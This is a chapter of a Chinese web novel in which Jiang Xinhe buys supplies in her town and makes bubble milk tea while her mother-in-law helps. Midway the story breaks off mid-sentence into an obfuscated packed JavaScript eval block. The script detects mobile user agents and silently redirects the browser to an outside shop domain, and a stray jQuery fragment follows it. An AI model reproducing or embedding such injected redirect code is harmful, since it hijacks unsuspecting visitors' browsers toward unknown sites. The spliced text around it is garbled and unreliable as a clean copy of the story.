文桃花将装冰箱的纸盒子拆开用脚踩平整和之前攒的纸壳子叠好放在一起,顺手用捆冰箱的扎带给绑了起来,放在阳台上摞成一摞。
阳台的一个角落里,归置着一些纸盒子、塑料瓶那些,还有文桃花从外头捡来的一些铁丝、铁壳子,好在都是放的服服帖帖的,等攒多了就卖到废品站去。
婆婆爱拾掇这些废品,能卖一分是一分,姜新荷也随她去,她们回来时已是下午一点多了,今天晚上出摊是不卖龙虾的,昨天吴敏霞来送货时,姜新荷特意提醒过她。
所以,今天也没啥事干,难得落了个清闲,小丫起得早,又经历了那么惊险的一幕,这会儿已困得眼皮直打架了。
小丫儿浑身的黏汗,姜新荷晃醒她,把她抱着洗了头和澡,擦干后放在凉床上又把见底的米粉罐用勺子一刮冲了半碗米粉喂给她喝。
喝饱后,小丫儿眼皮已黏上了,姜新荷给她脖子、胳肢窝、小腿肚上拍了点花露水,又把电扇调成一档风,这才挎上帆布包提着个大白水壶出门了。
她要做珍珠奶茶,少不得要买木薯粉、牛奶、一次性塑料杯那些,趁着今天有空家里缺什么她一次性补齐,反正冰箱也买回来了,不用再像以前那样菜肉只敢买一口,买多了吃不完就要坏掉。
巷子的路是起起伏伏上下坡的那种,走起来累,姜新荷抄了个近道,从她家侧面的一个青石小楼梯走上去,从这里去市场就近得多。
这一截有段夯实的土路,太阳把路面照得白花花的,姜新荷能清楚地瞅见地上的闪着光的细碎小玻璃和晒干的鸟屎,四下一片寂静,树叶儿都不动一下的,只听得见不知名的虫鸣声。
姜新荷不由得有些害怕,她小时候听老人说古。说是夏天的大中午不能出去,有鬼抓呢,说是谁家有人大晌午去河边洗澡被水鬼拽下了河,那人拼命挣扎出水面逃到河滩上一看自己的脚脖子被抓得青紫。
愈想姜新荷愈觉得背后发毛,她不由得加快了脚步,等看到前面有人家,她的心才放下来。
前面是胖花婶家,她家院门四敞着,一家人躺在竹床上乘凉,看见姜新荷走过来,胖花婶打招呼:
“新荷,大晌午的咋往外蹿?提着壶上哪儿去?”
胖花婶就是葡萄结得厚的那家,她家的红墙上葡萄藤爬出了墙外,葡萄小玛瑙似的一串串的有青有紫,很是惹人喜爱。
姜新荷立在那里,笑盈盈的跟胖花婶打了招呼说是要去市场一趟买点东西,听说是和做奶茶有关的,胖花婶乐了。
她是姜新荷小摊上的老主顾了,隔两天就要去买凤爪、虾球吃,现在听说又要再出新品,她的这张嘴又有着落了,夏天烧饭本就热她又胖更是懒得迈进厨房一步,时不时的去姜新荷的小摊上买几份回去,家里大人小孩都爱吃,再没有挑剔这难吃那难吃的,她也算是花钱买个安静。
“那感情好啊,等你晚上出摊,婶子去买。”胖花神笑眯眯的,捡了一串放在盆子里的葡萄递给姜新荷让她拿着吃,姜新荷忙推脱不要,胖花婶一把塞到她的手里。
“别跟婶子客气,就一串葡萄,你要往市场上去我不好给你拿多,捡了一串给你你尝尝味儿,这是老葡萄藤了,结得葡萄甜着呢,你不吃也是便宜了鸟雀。”
姜新荷不再推却笑着接了,闲话了两句她便要离开,胖花婶又热情地搁后头喊道让她回来时还从这里走,她用塑料袋装一袋葡萄让她带回去吃。
姜新荷胡乱应了,她手上的这串葡萄青紫相间,指肚儿大小,有的葡萄还是青色的呢,晶莹剔透的,她摘了一颗放进嘴里,葡萄酸甜多汁,果味儿浓郁,那淡淡的独属于葡萄的花香气味萦绕在唇齿之间。
下午市场几乎没人,她先是到杂货店买了500个带盖的塑料杯、长柄不锈钢勺一把,并一个不锈钢的大桶和一张包住桶的隔温被,临结账时,见到货架上有两个印着虫鸟的大搪瓷深碗就一起拿了,她买得多,老板用一个大朔料袋给她装了,还把零头的一毛五分钱给抹了。
姜新荷还得买别的,就把东西放在了杂货店的门口让老板看着,等她一起买好后再转过来拿。
杂货店的老板是一个老爷爷,姓徐。徐阿公常让小孙子去姜新荷的摊上给他买紫米肉松饭团吃,有时还会买上一斤的肉松,他老了,就爱吃口甜的好克化的,小孙儿拿了钱还有2毛跑腿费呢颠颠地跑去买回来,祖孙俩一人一个饭团凉拌个糟头肉,糖渍盘西红柿在夜风习习的暮色里吃晚饭,小孙子呼呼地往嘴里扒肉吃,徐阿公笑眯眯地看着孙子,挟起一块西红柿用没几颗牙的嘴嚼着。
徐阿公摇着蒲扇道:“闺女,就放在柜台这里,我给你看着呢,丢不了。”姜新荷谢过徐阿公,往奶站去了。
南塘镇有个鲜奶站,镇上的居民都会给自家上学的孩子每天早上订瓶牛奶喝,玻璃瓶装的牛奶,瓶子是要回收的,一毛钱一个,奶站的奶是散装的生牛奶,想要多买些就自己拿了容器过来打,家里也就上学的孩子喝些牛奶,大人们大都喝不惯生牛奶的味儿。
姜新荷用10升的大白水壶打了慢慢一壶的牛奶,牛奶价格可不低,在千禧年的南塘镇还属于金贵物,这一壶牛奶花了25块。
一壶牛奶可沉了,姜新荷尝试着提着走,可她使出了吃奶的劲儿,地上的大白壶竟纹丝不动,就在她考虑要不要给奶站工作人员一点钱让他帮忙把牛奶送到家里时,文桃花来了。
姜新荷有些意外,她问:“小莹呢,没醒吗?”文桃花提起水壶,道:“我见她还睡着,就出来了,看你拿个壶出去,我猜你肯定是来奶站了,还有哪里有东西,我一并提回家去。”
文桃花提着死沉的牛奶,丝毫不喘气,走路那叫一个健步如飞,姜新荷同她说徐阿公店里还放着一袋东西叫她给人一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558125|204087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钱帮着提回去,文桃花忙摆手,“花那冤枉钱干啥,你提些轻省的,重的妈妈帮着提回家。”
姜新荷没办法,嘱咐她别闪了腰,自己拎了些东西走在后面,文桃花则提了不锈钢大桶和牛奶先一步回家。空出了手,姜新荷又各散称了5斤的木薯粉、土红糖、红茶叶,最后是给小莹买奶粉,镇上最大一家的副食品里有奶粉,姜莹现在是2岁零几个月的小宝宝,她喝的奶粉比纯婴儿的要便宜,不过价格也是让人乍舌,最贵的一罐奶粉是900克的进口奶粉,一罐105块,姜新荷买了2罐还买了一罐400克的中老年人补钙的奶粉,一共花了245块,老板娘来了大单,笑得合不拢嘴的,送了她同罐150克的宝宝奶粉,一个印着小黄鸭的米色口水巾和一个拨浪鼓。
“我一个老婆子还喝什么奶粉?”文桃花拿着奶粉惊讶道,活了几十年第一次听说大人还是她这样的乡下婆子喝奶粉的,“快快快,去退了,我不喝,给小莹喝,这孩子小时候亏到身体了,正好补一补。”
姜新荷把婆婆按坐在椅子上,一顿笑眯眯地连哄带吓虎:“一罐30块呢,你不喝。我拿去丢了,人老板娘不收退回去的,都已经买回去了退回去人家卖给谁?”
文桃花啧了一声,倒抽一口凉气,“乖乖这么贵,够买6斤猪肉了,既然这么珍贵,妈一定喝完,新荷,谢谢你。”
文桃花眼角有些湿润,她哪里喝过这么好的东西,便是生完孩子做月子时,麦乳精都没喝过一罐,那时还没出月子她就在摸冷水洗尿片子了,以导致她现在的手关节粗大变形阴雨天气隐隐作痛,婆婆从城里挂了一个名儿来照顾她,可她一不抱孩子二不帮着洗衣服,只做她儿子下班回来的那顿饭,还要每天早上5点多就在文桃花房门口喊让她起床多走路锻炼。
她生了个好儿子,儿子给她找了个好闺女,两个好孩子,文桃花望着熟睡的小孙女,用手背轻轻地去眼角的泪花。
姜新荷自然不知道这些旧事,她迅速洗了澡和头,半干发用一根桃木簪盘成一个圆润的发包包,露出半截白生生的颈子。
红糖煮开倒入木薯粉搅拌成团,案板上铺上揉面垫,木薯粉团搓成长条,用窄刀切成均匀的小剂子,手上沾点木薯粉把剂子团成均匀的珍珠大小,姜新荷揉了300多颗珍珠,水开后,把珍珠倒入锅里煮一会儿用漏勺捞出盛在白瓷盘里。
灶上开最小的底火,用木铲翻炒白糖与红茶叶,白糖很快化成焦糖色挂在茶叶上,姜新荷倒入牛奶,小火煮沸,到出锅时再把做好的珍珠倒进去就好,她用勺子搅了搅,一锅香气四溢的黑糖珍珠奶茶就做好了。
姜新荷盛了3杯奶茶出来,剩下的一锅奶茶她放在案板上晾凉,去看了眼小莹见她还在睡觉,姜新荷心道:小崽崽还挺能睡的。
她没喊小莹随她睡,自己则腾出手来做个麻薯肉松烘饼配着奶茶一起吃。